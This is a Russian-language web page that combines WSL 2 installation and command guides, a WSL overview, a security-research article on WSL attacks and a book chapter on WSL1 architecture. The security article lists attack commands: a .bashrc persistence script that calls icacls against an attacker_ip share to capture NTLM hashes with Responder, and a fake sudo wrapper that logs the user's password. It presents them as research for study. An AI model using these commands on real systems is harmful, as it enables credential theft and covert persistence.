Установка и использование подсистемы Linux (WSL 2) в Windows

24.10.2023

Sergey Bo

Linux, Ubuntu, Windows 10, Windows 11, Windows Server 2019

комментариев 17
Среда Windows Subsystem for Linux (WSL) позволяет запускать нативные приложения, писать скрипты, выполнять команды и скрипты Linux непосредственно из Windows без использования эмуляторов или развертывания выделенных виртуальных машин. Актуальной версией среды является WSL 2, в которой используется полноценное ядро Linux (версия ядра 5.15) и обеспечивает полную совместимость с системными вызовами. Образ ядра Linux в WSL представляет собой легкую виртуальную машину, для запуска которой не нужно устанавливать полноценную роль Hyper-V.
Как установить Windows Subsystem for Linux (WSL2)?
Компонент WSL по умолчанию отключен в Windows. Современных дистрибутивах Windows 10 и Windows 11 для установки среды WSL достаточно выполнить команду:
Этак команда автоматически включит все необходимые компоненты Windows, необходимые для работы WSL, установить обновление ядра Linux для WSL2, загрузит дистрибутив Ubuntu (по-умолчанию) и установит его в WSL.

Осталось перезагрузить компьютер, и вы можете запускать среду WSL!
Вы можете установить для WSL другой дистрибутив Linux. Выведите список доступных дистрибутивов:
wsl —list —online
Укажите имя дистрибутива Linux, который установить в WSL. Например:
wsl —install -d kali-linux

Если в BIOS/UEFI компьютера не включена виртуализация, при установке WSL вы получите ошибку:
Installation failed with error 0x80070003 or error 0x80370102” it means that Bios Level Virtualization is not enabled on your computer.
Вы можете установить WSL2 в Windows вручную. Для этого придется вручную последовательно выполнить все этапы, который команда wsl —install запускала автоматически:
- Установить WSL
- Включить компонент виртуалзации VirtualMachinePlatform
- Установить ядро WSL 2
- Скачать и установить дистрибутив Linux для WSL
Сначала установите следующие компоненты Windows:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform

Скачаем и установим обновление ядра Linux для WSL2 (WSL2 Linux kernel update package for x64 machines — https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi). Можете скачать пакет вручную или с помощью PowerShell:
Invoke-WebRequest -Uri https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi -OutFile «$($env:userprofile)\Downloads\wsl_update_x64.msi» -UseBasicParsing
Invoke-Item «$($env:userprofile)\Downloads\wsl_update_x64.msi»
rm «$($env:userprofile)\Downloads\wsl_update_x64.msi»

Еще раз перезагрузите компьютер и назначьте версию WSL 2 в качестве среды по-умолчанию:
wsl —set-default-version 2

WSL: Установка дистрибутива Linux в Windows
После того, как ядро WSL установлено в Windows, вы можете установить один или несколько дистрибутивов Linux на компьютер.
Можно установить пакет с дистрибутивом Linux через Microsoft Store. Доступны следующие дистрибутивы:
- Ubuntu
- Debian
- Kali Linux
- OpenSUSE
- Oracle Linux
- SUSE Linux Enterprise Server
- Fedora
Найдите нужную версию дистрибутива в Store и установите ее, нажав кнопку Получить (Get).

Если у вас отключен Windows Store, вы хотите установить дистрибутив WSL в Core редакции Windows Server или вам нужно установить WSL на Изолированном от интернета компьютере (оффлайн), вы можете скачать дистрибутив Ubuntu с помощью PowerShell командлета Invoke-WebRequest:
Invoke-WebRequest https://aka.ms/wslubuntu2204 -OutFile ubuntu-2204.appx –UseBasicParsing
Установите пакет для WSL с помощью:

После окончания установки появится окно, в котором вам будет предложено указать имя пользователя и пароль для вашего дистрибутива.

После установки вы можете в меню Пуск появится отдельная программа для запуска Linux.

Также вы можете запустить ваш Linux из отдельной вкладки Windows Terminal или с помощью команды wsl .
Команды для управления WSL в Windows
Рассмотрим основные команды для управления ядром и дистрибутивами Linux в WSL.
Проверить текущую версию ядра WSL:

Обновить ядро WSL вручную:
Откатится к предыдущему ядру WSL:
wsl —update rollback
Вывести список установленных версий Linux:
Вывести дистрибутив Linux, который используется по-умолчанию:
Дистрибутив Linux по-умолчанию в WSL можно изменить:
wsl —setdefault Ubuntu

Запустить определенный дистрибутив в WSL:
wsl -d kali-linux
Завершить среду WSL:
Можно войти в WSL Ubuntu под root и сбросить пароль:
ubuntu config —default-user root
Passwd
Вернуть пользователя по умолчанию
ubuntu config —default-user your_username
Для настройки параметров WSL и дистрибутивов Linux используются конфиг файлы:
- wsl.conf – файл с настройками конкретного дистрибутива Linux (находится в директории /etc)
- .wslconfig – глобальные настройки WSL, которые применяются ко всем дистрибутовам (находится в профиле пользователя в %UserProfile% )
Например, если вы хотите ограничить использование оперативной памяти и CPU компьютера дистрибутивами Linux в WSL, создайте такой файл %UserProfile%\.wslconfig :
[wsl2] memory=2GB processors=2
Использование Linux в среде WSL
Дистрибутив Linux, установленный в WSL является полноценной операционной системой. Поэтому после установки рекомендуется выполнить обновление пакетов. Для Ubuntu выполните команду:
$ sudo apt-get update && sudo apt-get upgrade -y

Файловая система вашего дистрибутива Linux хранится в профиле пользователя в виде VHDX файла. Например, виртуальный диск Ubuntu хранится в папке %USERPROFILE%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu_79rhkp1fndgsc\LocalState

Файловая система Linux в WSL монтируется в виде сетевой папки прямо в проводник Windows.

Также для прямого доступа к файлам WSL из Windows можно использовать UNC путь. Например:
В свою очередь локальные диски Windows монтируются в WSL в папку mnt. Вывести список файлов папок на диске C:

Другие примеры запуска Linux команд из Windows:
dir | wsl grep Sa
wsl ls ‑la > 123.txt
wsl ls ‑la /proc/cpuinfo
wsl ls ‑la “/mnt/c/Program Files”
Вы можете установить любые пакеты в Linux. Например, установите файловый менеджер Midnight Commander:
$ sudo apt-get install mc
Для доступа к физическим USB устройства из WSL можно использоваь пакет usbipd-win.
В современной версии WSL 2 вы можете запускать из Windows любые приложения Linux с графическим интерфейсом (X11 и Wayland). Например, установите графический редактор:
$ sudo apt install gimp -y
Чтобы запустить его из Windows просто выполните команду:
Предыдущая статья Следующая статья
Читайте далее в разделе Linux Ubuntu Windows 10 Windows 11 Windows Server 2019



Mailcow: готовый почтовый сервер на postfix+dovecot+SOGo на Docker контейнерах
Установка KMS сервера vlmcsd на Linux для активации Windows и Office
Установка и настройка GLPI и FusionInventory, инвентаризация ИТ инфраструктуры
IPMI: настройка и удаленное управление серверами Supermicro
Подсистема Windows для Linux (WSL) в среде Windows 10.
Начиная с версии Windows 10 Build 14251, в набор стандартных компонентов системы была добавлена Подсистема Windows для Linux (Windows Subsystem for Linux или WSL) . Главное назначение WSL – создать программный слой в среде Windows 10 для обеспечения функционирования приложений Linux. Первоначально подсистема поддерживала только дистрибутив Ubuntu 14.04, образ которого можно было загрузить через магазин Microsoft Store. Затем количество поддерживаемых дистрибутивов увеличилось, и продолжает увеличиваться, включая наиболее популярные дистрибутивы. Установка выполняется таким же образом, как и стандартное приложение, без применения виртуальных машин или сторонних пакетов эмуляции. Пользователь Windows 10 в пару кликов мышкой устанавливает операционную систему семейства Linux без графической оболочки, функционирующую на компьютере подобно стандартному приложению, загруженному из Microsoft Store.
Подсистема WSL позволяет:
1. Выбрать предпочитаемый дистрибутив из магазина Windows (Microsoft Store)
2. Пользоваться командной оболочкой Linux и прочим программным обеспечением совершенно бесплатно.
3. Выполнять скрипты командной оболочки и использовать популярные программные средства Linux, как ssh, MySQL, Apache, языки программирования C/C++, Ruby, Python и т.п.
4. Устанавливать дополнительное программное обеспечение с использованием собственного менеджера пакетов выбранного дистрибутива GNU/Linux.
5. Использовать совместное функционирование приложений обеих операционных систем и использование общих ресурсов.
Подсистема WSL продолжает развиваться, и постепенно трансформировалась в новую версию, получившую обозначение WSL 2 , отличающуюся повышенным быстродействием, улучшенным взаимодействием с компьютерным оборудованием и компонентами Windows, новой архитектурой на базе реального ядра Linux, специально адаптированного для использования в WSL 2. Кроме того, данное ядро Linux распространяется с открытым исходным кодом (Open Source), который можно загрузить на странице проекта github.com-WSL2-Linux-Kernel
WSL 2 является очередным шагом в технологии виртуализации, позволившим использовать ядро Linux, выполняемое под управлением относительно небольшой утилиты, обеспечивающей высокий уровень интеграции между Windows и Linux и значительное повышение быстродействия операций ввода-вывода, системных вызовов и приложений. По некоторым данным, распаковка zip-архивов в среде WSL 2 выполняется в 15-20 раз быстрее, а сборка пакетов – в 2-5 раз быстрее чем в WSL 1.
По умолчанию, компонент Подсистема Windows для Linux (WSL) выключен. Для включения можно воспользоваться апплетом Панели управления Программы и компоненты — Включение или отключение компонентов Windows :

После включения WSL, нужно выполнить перезагрузку Windows.
Для включения WSL и проверки ее состояния можно использовать командную оболочку Power Shell, запущенную на выполнение от имени Администратора. Проверить состояние подсистемы можно командой:
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Пример отображаемой информации:
FeatureName : Microsoft-Windows-Subsystem-Linux
DisplayName : Подсистема Windows для Linux
Description : Предоставляет службы и среды для запуска собственных средств и оболочек Linux в пользовательском режиме в Windows.
RestartRequired : Possible
State : Enabled
ServerComponent\Description : Предоставляет службы и среды для запуска собственных средств и оболочек Linux в пользовательском режиме в Windows.
ServerComponent\DisplayName : Подсистема Windows для Linux
ServerComponent\Id : 1033
ServerComponent\Type : Feature
ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux
ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux
Строка State : Enabled указывает на то, что подсистема Windows для Linux включена.
Для включения подсистемы WSL посредством Power Shell можно использовать команду:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Для отключения WSL:
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Выбор дистрибутива и установка Linux
После включения подсистемы WSL и перезагрузки Windows 10 можно приступить к установке ОС Linux. В прежних версиях подсистемы Windows для Linux для настройки дистрибутива Linux использовалась утилита командной строки lxrun.exe . На сегодняшний день она считается устаревшей и в дальнейшем будет исключена из подсистемы WSL. Дистрибутивы можно установить из стандартного Магазина Windows (Microsoft Store):

При необходимости, можно получить более подробную информацию о конкретном дистрибутиве, например Kali :

Как видим, отображаются краткие сведения о дистрибутиве, способе запуска Linux после установки, а также сведения о загружаемом образе. Для уменьшения объема загружаемых данных образ не содержит графической оболочки и некоторых приложений, которые легко устанавливаются с использованием штатных средств управления пакетами выбранного дистрибутива Linux.
После загрузки и начальной установки дистрибутива, можно выполнить его запуск нажатием кнопки Запустить

После запуска начнется развертывание полученного дистрибутива Linux в подсистеме WSL. В процессе начальной установки и настройки потребуется ввести имя пользователя и пароль.

После успешной установки, в консоли отобразится стандартное приглашение командной строки. К этому моменту будут выполнены настройки сетевых интерфейсов, имени узла, клиента DNS и т.п а также смонтированы логические диски ОС Windows 10 (стандартно — /mnt/c — для диска C:, /mnt/d — для диска D: и т.д). Дальнейшее применение установленного Linux зависит от его предназначения и неизбежно потребует установки дополнительных приложений с использованием стандартных средств данного дистрибутива, при чем – из командной строки. Как и в случае с отдельным компьютером с ОС Linux, первым шагом в применении нового дистрибутива будет освоение методов установки и удаления программ.
На сегодняшний день, в Microsoft Store имеется несколько дистрибутивов Linux – Ubuntu ( в том числе и с длительной поддержкой), Kali, Debian и Suse (в том числе и серверные дистрибутивы). Очевидно, что этот набор будет постепенно расширяться. Наиболее востребованным дистрибутивом, по статистике Microsoft Store, является Ubuntu. После завершения установки, запуск программы можно выполнить в командной строке, введя:
Либо Win+R — ubuntu
Либо с использованием ярлыка из меню кнопки Пуск — Ubuntu .
В самом начале использования вновь установленного Linux, желательно выполнить обновление установленного ПО и добавить необходимый для дальнейшей работы набор программ.
В дистрибутивах на основе Debian (Ubuntu) имеется стандартная утилита apt для работы с системой управления программными пакетами APT ( A dvanced P ackaging T ool). Данная утилита и ее производные ( apt-cache , apt-get ) используются для установки новых программных пакетов, удаления существующих, обновления уже установленных, а также для обновления всей операционной системы. Примеры использования:
apt –h — отобразить подсказку по использованию apt
apt-cache –h — отобразить подсказку по использованию apt-cache
apt-get –h — отобразить подсказку по использованию apt-get
Более подробную подсказку можно получить из комплекта документации man-страниц:
sudo apt-get update — обновить список установленных программных пакетов в соответствии с источниками, заданными в файле /etc/apt/sources.list .
sudo apt-get upgrade — обновить все программные пакеты, существующее в системе на данный момент времени.
sudo apt-get install mc — установить файловый менеджер Midhight Commander
apt-get remove —purge mc — удалить файловый менеджер Midhight Commander и все его конфигурационные файлы (параметр —purge )
Некоторые характерные особенности WSL
Несмотря на то, что WSL 2 стала значительным шагом развития подсистемы, в ней остаются множественные проблемы не позволяющие получить полноценную ОС семейства Linux в среде Windows. Хотя, изначально, при разработке подсистемы WSL, такая задача и не ставилась, ведь требовалось всего лишь средство для разработчиков, создающее универсальную, быстродействующую и привычную среду в рамках ОС Windows. Если постановка задачи не изменится, то очевидно, подсистема WSL никогда не заменит ”настоящий” Linux, хотя и приблизится к нему вплотную.
В частности, в реализации WSL на вторую половину 2019 г. нет возможности установки модулей ядра, не реализован стандартный для Linux механизм сокетов, нет полноценного взаимодействия между процессами и т.д. и т.п. Как результат – нет графической оболочки пользователя, нет возможности использования приложения, требующих наличие драйвера ядра, не работает огромное количество системных служб. Часть проблем будет решаться по мере выхода новых версий WSL, либо с применением альтернативных решений, в том числе и от сторонних разработчиков, как например WSL SSH Launcher , который можно загрузить из Microsoft Store и использовать для запуска сервиса ssh в среде WSL. Программа платная ($0.99), но имеется и бесплатная пробная версия.
Страницы с описанием и примерами команд подсистемы WSL:
BASH — командная оболочка BASH в подсистеме Windows для Linux (WSL).
WSL — выполнение команд Linux и конфигурирование параметров подсистемы Windows для Linux (WSL) в Windows 10
WSLconfig — конфигурирование параметров подсистемы Windows для Linux (WSL) в Windows 10
В заключение, стоит добавить, что в среде Windows 10 можно установить Linux, как впрочем, и любую другую ОС, на виртуальной машине Hyper-V.
WSL эксперименты. Часть 1

В 2016 году компания Microsoft представила IT сообществу новую технологию WSL (Windows Subsystem for Linux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux в окружении Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.
WSL 1: особенности архитектуры
Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов — таким образом, была предпринята попытка маппинга набора syscall-ов Linux на Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:

По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов — pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте Drawbridge были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.
Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности — Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.
Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:

- Проблемы совместимости и трансляции системных вызовов должны решать специальные провайдеры;
- Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:
Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL — VolFS и DriveFS. VolFS — имплементация файловой системы Linux, DriveFS — файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.
WSL 2
WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 — это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:

В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.
На сегодняшний день Microsoft предоставляет возможность переключения между WSL 1 и WSL 2. Обе версии доступны для использования.
Безопасность WSL
На данный момент существуют несколько работ, описывающих некоторые подходы к использованию легитимных инструментов ОС для атаки на взаимодействие между подсистемами. Мы будем использовать их сценарии для проверки актуальности атак на момент написания статьи. Общий перечень атак и сценарии проведения:
1. Имплементация файловой системы: права доступа, наличие общих директорий/механизмов обмена данными.
Исследования проводились на предмет нарушения правил доступа из Linux FS->Windows FS, Windows FS->Linux FS. Исследования демонстрировали возможность модификации заданного файла внутри целевой ОС. Так же были проведены попытки подмены, создания двойников и удаления части файловых систем.
- A. Атака из операционной системы Windows — модификация файлов из директории /etc ОС Linux.
- B. Атака из операционной системы Linux — модификация файлов в директориях: C:\Windows , C:\Program Files , C:\Users\
Исследования проводились на примерах атак со стороны операционной системы Linux на Windows. Использовались особенности работы сетевого стека, а именно — механизмы аутентификации на различных ресурсах.
- Открытие доступа к порту, который занят в системе Windows
- Открытие порта при отсутствии соответствующих прав
- Запуск reverse shell с использованием elf файла в операционной системе Windows.
Исследования базировались на простом факте — подсистемы защиты не могут проводить перехват событий в другом ядре, которое работает с использованием легитимного провайдера со стороны операционной системы в случае с WSL 1. В случае с WSL 2 нет возможности просмотреть события, которые происходят в отдельном ядре в рамках легкой виртуальной машины.
1) Запуск приложения для удаленного доступа в систему и просмотр регистрируемых событий.
WSL 1 эксперименты: перехват хэша (ОС Windows)
Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:
Предварительно нужно запустить powershell.exe от имени администратора.
Для WSL 1 необходимо выполнить команды:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:

В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.
Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска — добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл .bashrc .
На машине c WSL выполняем:
1. bash 2. Переходим в домашнюю директорию пользователя: cd /home/sam/ 2. echo «/home/sam/.attack.sh» >> .bashrc 3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh 4. chmod u+x .attack.sh 5. exit
На машине Kali Linux выполняем:
1. Responder -I eth0 -rdvw
На машине Windows запустим bash.
Ждем результат на машине Kali Linux:

Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.
WSL 1 эксперименты: получение пароля пользователя (ОС Linux)
Проведем еще один эксперимент. В ходе этой проверки мы дополним файл .bashrc несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.
Запустим bash и введем команды:
1. mkdir .hidden 2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc 3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo 4. echo "echo \"\"" >> .mysudo/sudo 5. echo "sleep 2" >> .mysudo/sudo 6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo 7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo 8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo 9. chmod +x .mysudo/sudo 10. exit
Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле pass.txt :

Реализация атак была приведена только для теоретического ознакомления.
В следующей части статьи будет описана реализация протокола 9P, рассмотрено создание сканера для этого протокола, а также проведена атака с его помощью.
Список использованной литературы

- WSL 2 RESEARCH INTO BADNESS
- Windows Subsystem for Linux Documentation
Читать ещё
Глава 1. Приступая к WSL
Windows Subsystem for Linux (WSL) это не самая первая подсистема которая когда либо существовала а операционной системе Windows; напротив, это более совершенный продукт многолетних исследований в разработке изолированных подсистем для изолированной программной среды приложений, которые выделены в песочнице от самой операционной системы хоста.
Прежде чем мы поглубже окунёмся в установку, настройку и работу с Подсистемами Windows для Linux, давайте вначале взглянем на то, как всё это запускается и затем быстро пройдёмся по некоторым ключевым словам и определениям, которые приведут нас к той же самой странице и помогут разобраться во всех главах этой книги.
Введение в WSL этой главы, несомненно, поможет, но не стесняйтесь, если пожелаете, пропустить её, если хотите сразу же перейти к настройке и практической работе.
История подсистем Windows
Начиная с самых первых выпусков Microsoft Windows NT, эта операционная система разрабатывалась для сосуществования одной или более подсистем внутри самой операционной системы, которые были бы независимыми реализациями внутри своего ядра. Это позволяет нам запускать 32- битные приложения внутри 64- битной операционной системы Windows в её подсистеме Win32 и поддерживать прочие подсистемы, такие как POSIX и OS/2.
Эти подсистемы доступны через имеющийся API, который предлагается для работы их приложений в них и когда эти приложения выполняют некий вызов такого API, он транслируется в подходящий системный вызов системы Windows NT для снабжения запрошенного действия. Однако, со временем, эти первоначальные подсистемы замкнулись в себе и исследования привели к разработке и расширению их возможностей в Windows Subsystem for Linux.
Первоначальное понятие, которое привело к Подсистеме Windows для Linux возникло из проекта с названием «Проект Astoria», некого универсального инструментария моста платформы Windows, который позволил бы разработчикам собирать прикладные приложения Windows для телефонов повторно применяя свой код Android или запускать естественные приложения Android в Windows. Это сделало возможным допускать исполнение прикладных приложений Android в некой среде эмуляции с минимальными изменениями и выполнять доступ к API платформы Microsoft. Однако, 25 февраля 2016 Microsoft выпустил официальный анаонс о прекращении поддержки «Проект Astoria» и был выдвинут аргумент, что подобный эмулятор будет в конечном счёте избыточным для встроенного инструментария Objective-C. Позднее, идеи и исследования «Проект Astoria» и другого исследовательского проекта, известного как «Проект Drawbridge» (оба позднее описываются в этой главе), были преобразованы в службу совместимости с названием Windows Subsystem for Linux версии 1. Microsoft выпустила первоначальную версию для Подсистемы Windows для Linux, известную как WSL1, в том же самом 2016 году.
WSL одним взглядом
Подсистема Windows для Linux это некий новый уровень функциональных возможностей совместимости операционной системы Windows, который делает возможным запуск инструментов командной строки Linux и исполняемые файлы ELF64 естественным образом в Windows без изменений, запуская полную виртуальную машину Linux. Подсистема Windows для Linux была разработана в качестве инструмента для разработчиков, но она также набирает обороты и среди системных администраторов и в сфере кибер безопасности.
WSL далеко выходит за рамки просто «bash» оболочки Linux в Windows. Фактически, это целый уровень совместимости для запуска среды, которая выглядит и ведёт себя точно так же как операционная система Linux. Это сделало возможным для пользователей Windows запускать распространённые бесплатные программы командной строки, такие как «grep», «sed» и «awk» либо любых прочих исполняемых файлов ELF64 из дистрибутива по выбору Linux, который можно выгружать из Microsoft Store, обычно бесплатно. Это означает, что теперь мы можем применять инструменты Linux, такие как bash, vim и Emacs для пользователей с опытом Linux в операционных системах Windows без применения совместимых с POSIX сторонних разработчиков, таких как Cygwin.
Microsoft определённо раздвигает границы исследования операционных систем с помощью первоначальной версии WSL, а именно, версии 1, или wsl.exe. Теперь речь больше не идёт об операционной системе или сторонних пользователях Windows или Linux, а в основном речь ид1т о предоставлении конечному пользователю наилучших инструментов из присутствующих на рынкедля решения их задач и создания приложений независимо от лежащей в основе платформы.
Преимущества WSL1
Давайте предположим что вы являетесь системным администратором Windows или разработчиком Windows и вы намерены посредством какой-то статьи в интернете по установке веб сервер или чего-то ещё и внезапно наталкиваетесь на приглашение в виде знака доллара ( $ ) для оболочки bash в этих инструкциях. Тут же происходит следующий внутренний монолог:
«О нет! Я не пользуюсь этим; этого нет в моей системе. Скорее всего, мне придётся раскрутить какую-то виртуальную машину и запустить в ней Linux, прежде чем я смогу следовать этим инструкциям статьи с практическими рекомендациями. Но это много работу. Ну её!»
Это одна из тех проблем, которая послужила источником подсистемы Windows для Linux. Проще говоря, возникла потребность предоставления разработчикам и системным администраторам возможности беспрепятственно запускать исполняемые файлы Linux, такие как bash, естественным образом в Windows. Это может избавить от беспокойства, хлопот и затрат времени, тратящихся на запуск виртуальной машины и установку операционной системы Linux для выполнения неких базовых задач.
Перечисляемые ниже пункты выделяют те пробелы и области, которые заполняются подсистемой Windows для Linux.
- Потребление ресурсов — Виртуальные машины сослужили нам хорошую службу и они никуда не денутся, но несомненно имеются определённые накладные расходы ресурсов с точки зрения памяти, ЦПУ и систем хранения, которые уходят под них, тогда как в подсистеме Windows для Linux потребление ресурсов в основном хосте операционной системы минимальны. Честно говоря, нет никакого смысла запускать виртуальную машину исключительно для проверки нескольких команд Linux, когда у вас имеется оболочка bash, работающая внутри подсистемы Windows для Linux.
- Доступ к инструментам Linux — Запуск исполняемых файлов в операционных системах Windows открывают целиком новое окно возможностей для пользователей Windows в мир Linux, делая доступными для них большинство мощных приложений Linux.
- Кросс- платформенная разработка — Разработчики и системные администраторы могут применять подсистему Windows для Linux в работе с кросс- платформенными продуктами и инструментами, например ядром .Net. При этом я запросто могу протестировать некий проект в Windows, а следом в подсистеме Windows для Linux, даже не раскручивая виртуальную машину Linux.
- Правильные инструменты для правильных заданий — Основная идея состоит в применении наилучших инструментов вне зависимости от лежащей в основе платформы. Это означает, что если мне комфортно развёртывать веб сервер nginx в Linux, тогда я могу сделать это в своей операционной системе Windows внутри некой подсистемы, которая допускает запуск nginx так, как будто вы действительно работаете на машине Linux.
- Один и тот же опыт пользователя — WSL предлагает не просто интеграцию; она представляет разработчикам Linux бесшовную практику. В большинстве случаев разработчик даже не осознаёт, что он работает не в операционной системе Linux, а в неком слое трансляции, запускающем естественные исполняемые файлы Linux поверх своей операционной системы Windows.
- Изоляция безопасности — Поскольку WSL является подсистемой, те приложения, которые запускаются в ней на самом деле исполняются в неком безопасном, изолированном контейнере, который не может быть скомпрометирован прочими приложениями в своей операционной системе хоста.
Теперь давайте взглянем на собственно архитектуру и некоторые внутренние компоненты WSL, которые превращают эту работу в бесшовную.
Архитектура компонентов WSL1
WSL это набор программных компонентов и драйверов, реализованных Microsoft, которые действуют в качестве транслирующего уровня между пространством пользователей Linux и лежащего в основе ядра Windows NT для трансляции системных вызовов, виртуальных файлов и самой файловой системы. WSL составляется как из компонентов режима пользователя, так и режима ядра и эта служба трансляции от пространства пользователя Linux в ядро Windows NT эмулируют ядро Linux, так что приложения Linux даже не представляют что они не взаимодействуют с ядром Linux, а вместо него выступает ядро Windows NT. Давайте попробуем разобраться с этим на Рисунке 1-1.
Рисунок 1-1

Архитектура WSL1
Когда “bash.exe” запускается в операционной системе хоста Windows, он следует далее и запускает некий процесс Linux: /bin/bash в неком экземпляре Linux, который придерживается структуры данных для отслеживания всех процессов, потоков и состояния времени исполнения. “LX Session Manager Service” (Служба диспетчера сеанса LX) обрабатывает весь жизненный цикл подобных экземпляров Linux. Основная роль этой службы состоит в том,что она действует в качестве некого брокера для самого драйвера подсистемы Linux и эта служба также способствует в случае установки и деинсталляции порядку синхронизации операций чтобы позволять за раз выполнять эти операции только одному процессу.
В 2011 команда Microsoft Research приступила к проекту “Drawbridge”, который позднее ввёл некое понятие, носящее название процесса PICO, который был реализован в Windows. Процесс PICO это изолирующий контейнер на основе некого процесса с небольшой поверхностью API ядра, которая позволяет подсистеме удерживать внутри себя исполняемый файлы Linux. Когда вы выполняете любые действия с этими исполняемыми файлами Linux, сам контейнер или соответствующий процесс PICO в сочетании с lxss.sys и lxcore.sys , также именуемыми драйверами поставщика PICO, выполняют необходимую трансляцию системных вызовов Linux в API NT для эмуляции ядра Linux. Проще говоря, поставщики PICO выпускают эквивалентные системные вызовы в установленное ядро Windows NT для системных вызовов Linux и наоборот.
Как показано на Рисунке 1-2, эти процессы PICO являются урезанной версией обычных процессов хоста с изолированным адресным пространством, в котором не отображается исполняемая библиотека ntdll.dll режима пользователя и не создаётся в качестве дифференциатора Process Environment Block (PEB, блок среды процесса) , дабы хост понимал, что такие процессы управляются этим хостом не активно. Сам хост по- прежнему предоставляет некую лежащую в основе поддержку ОС для этих процессов, такую как планирование потоков, управление памятью и тому подобное.
Рисунок 1-2

Процесс NT, минимальный процесс и процесс PICO
